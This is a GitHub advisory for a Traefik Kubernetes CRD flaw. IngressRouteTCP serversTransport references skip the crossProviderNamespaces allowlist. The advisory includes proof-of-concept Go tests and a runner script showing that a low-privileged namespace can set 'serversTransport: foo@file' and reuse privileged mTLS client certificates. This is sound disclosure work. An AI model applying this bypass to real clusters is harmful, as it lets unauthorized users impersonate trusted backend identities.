GitHub Advisoryadvisory · Go

GHSA-42cj-m3vj-89wv Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass

MEDIUM Published 2026-08-05 Modified 2026-08-05 Official page ↗
Aliases
CVE-2026-65602
Ecosystem
Go
Packages
github.com/traefik/traefik/v3
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Weaknesses
CWE-863
Reviewed
2026-08-05

Affected packages

• Go github.com/traefik/traefik/v3: >= 3.6.0, < 3.6.23 → fixed in 3.6.23 • Go github.com/traefik/traefik/v3: >= 3.7.0, < 3.7.7 → fixed in 3.7.7

Description

Summary There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The `crossProviderNamespaces` allowlist is enforced for HTTP `serversTransport` references but was not enforced for `IngressRouteTCP` service `serversTransport` references. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` could set `serversTransport: foo@file` on an `IngressRouteTCP` service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider `TCPServersTransport` — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the `crossProviderNamespaces` allowlist to TCP `serversTransport` references. Patches • https://github.com/traefik/traefik/releases/tag/v3.6.23 • https://github.com/traefik/traefik/releases/tag/v3.7.7 For more information If you have any questions or comments about this advisory, please open an issue. Original Description Summary Traefik's Kubernetes CRD provider enforces `crossProviderNamespaces` for several cross-provider references, but `IngressRouteTCP` service `serversTransport` references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` can still set `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik accepts the forbidden cross-provider reference and later uses the referenced `TCPServersTransport`, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings. Description `crossProviderNamespaces` is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP `serversTransport` references enforce that allowlist. TCP `serversTransport` references do not. An attacker with low Kubernetes privileges in namespace `default` can create an `IngressRouteTCP` service with: ```yaml serversTransport: foo@file ``` Even when the provider is configured with: ```yaml crossProviderNamespaces: • operator-only ``` Traefik still emits a TCP dynamic service whose load balancer points to `foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings. Impact The PoC demonstrates two positive facts: 1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and store `LoadBalancer.ServersTransport = "foo@file"` from an `IngressRouteTCP` service. 2. A qualified `foo@file` `TCPServersTransport` with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend. This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference. Proof Of Concept Files • `run.sh`: portable runner. • `poc_crd_test.go`: positive CRD provider proof. • `with_servers_transport_cross_provider_poc.yml`: minimal `IngressRouteTCP` fixture. • `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof. run.sh ```bash !/usr/bin/env sh set -eu TARGET_REF="${TARGET_REF:-v3.7.5}" REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}" SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}" if [ "${KEEP_WORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi echo "[*] target_ref=$TARGET_REF" echo "[*] workdir=$WORKDIR" if [ -n "${TRAEFIK_SRC:-}" ]; then echo "[*] cloning from local source: $TRAEFIK_SRC" git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGET_REF" else echo "[*] cloning from remote: $REPO_URL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp cp "$SCRIPT_DIR/poc_crd_test.go" \ pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \ pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \ pkg/tcp/dialer_cross_provider_identity_poc_test.go echo "[*] running CRD provider policy-bypass PoC" go test ./pkg/provider/kubernetes/crd \ -run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \ -count=1 -v echo "[*] running TCPServersTransport mTLS identity-use PoC" go test ./pkg/tcp \ -run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \ -count=1 -v echo "POC_RESULT=PASS" ``` poc_crd_test.go ```go package crd import ( "testing" "github.com/stretchr/testify/require" traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake" kubefake "k8s.io/client-go/kubernetes/fake" ) func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) { k8sObjects, crdObjects := readResources(t, []string{ "tcp/services.yml", "tcp/with_servers_transport_cross_provider_poc.yml", }) kubeClient := kubefake.NewClientset(k8sObjects...) crdClient := traefikcrdfake.NewClientset(crdObjects...) client := newClientImpl(kubeClient, crdClient) stopCh := make(chan struct{}) defer close(stopCh) eventCh, err := client.WatchAll(nil, stopCh) require.NoError(t, err) poc_tcp_mtls_test.go ```go package tcp import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "fmt" "io" "math/big" "net" "testing" "time" "github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" traefiktls "github.com/traefik/traefik/v3/pkg/tls" "github.com/traefik/traefik/v3/pkg/types" ) func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) { pki := newPoCPKI(t) dialerManager := NewDialerManager(nil) dialerManager.Update(map[string]*dynamic.TCPServersTransport{ "foo@file": { TLS: &dynamic.TLSClientConfig{ ServerName: "example.com", RootCAs: []types.FileOrContent{types.FileOrContent(pki.caCertPEM)}, Certificates: traefiktls.Certificates{ traefiktls.Certificate{ CertFile: types.FileOrContent(pki.clientCertPEM), KeyFile: types.FileOrContent(pki.clientKeyPEM), }, }, }, }, }) backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki) defer closeBackend() dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true) require.NoError(t, err) conn, err := dialer.Dial("tcp", backendAddr, nil) require.NoError(t, err) defer conn.Close() _, err = conn.Write([]byte("ping")) require.NoError(t, err) buf := make([]byte, 4) _, err = io.ReadFull(conn, buf) require.NoError(t, err) require.Equal(t, "PONG", str…

Related

Alias · CVE (1)

  • CVE-2026-65602 Traefik 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6 fail to enforce the crossProviderNamespaces allowlist for IngressRouteTCP service… vulnerability

Weakness · CWE (1)

  • CWE-863 Incorrect Authorization weakness

References